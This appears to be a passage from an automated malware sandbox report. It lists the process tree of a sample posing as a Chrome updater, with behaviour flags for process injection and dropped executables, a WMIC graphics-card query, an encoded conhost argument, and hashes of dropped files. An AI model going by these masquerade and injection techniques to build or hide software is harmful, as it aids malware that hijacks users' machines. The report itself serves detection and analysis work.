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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:2508
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2616
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:4272
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
448KB
MD55fd842858b03a456f4587f4a14888d02
SHA12daf1db47c7a4abe9aef3224576779ea781d3dde
SHA2564a06271cb1080e8ba23cb210051489ac230d4e27b7ff7e63518cb313671728fc
SHA51293352c680e270df0615f40003774b5e15614478b1a1560e099f2831355dfeda365ebe353548788759fff2dd4ed70a7fe05942ae424bc9eb64493bb6735f311c0
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Filesize
81KB
MD5c07abd5e9dfbbc8b1d7cc57ee8f207b3
SHA1b2135094b15d58c7f6bc46d7c85bc57fa7c01457
SHA256fce26719f28ba797dc07f516c0c75ff873e739c2dcac5bd7785f12a24ccb8762
SHA512c0388d0c88f3d517b72f0a5d92d788ca616fa2a0a80fedabbd0d4dacdb6ef8e1a62e87633844c634e7bccd19969394fac5bd30a391821cb693b7b7e17f591c2f
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
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Filesize
1KB
MD5678ccd43d3aeb02c265eb565b9d654dc
SHA1520af92c73ddc826905db1992df27a0600a2cc99
SHA256bec22eeceb373c66c4ad868f88b533b6bcb47585b8da7b076379904b7dd1561c
SHA5123047bbc7cf41b3f4b2480197098f84a88f8a944eba34f7daf097f88466dba75821b6158bf45eab394f7f6b76ba126cede24beb5526b38c380166dc83fc0fad2c
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5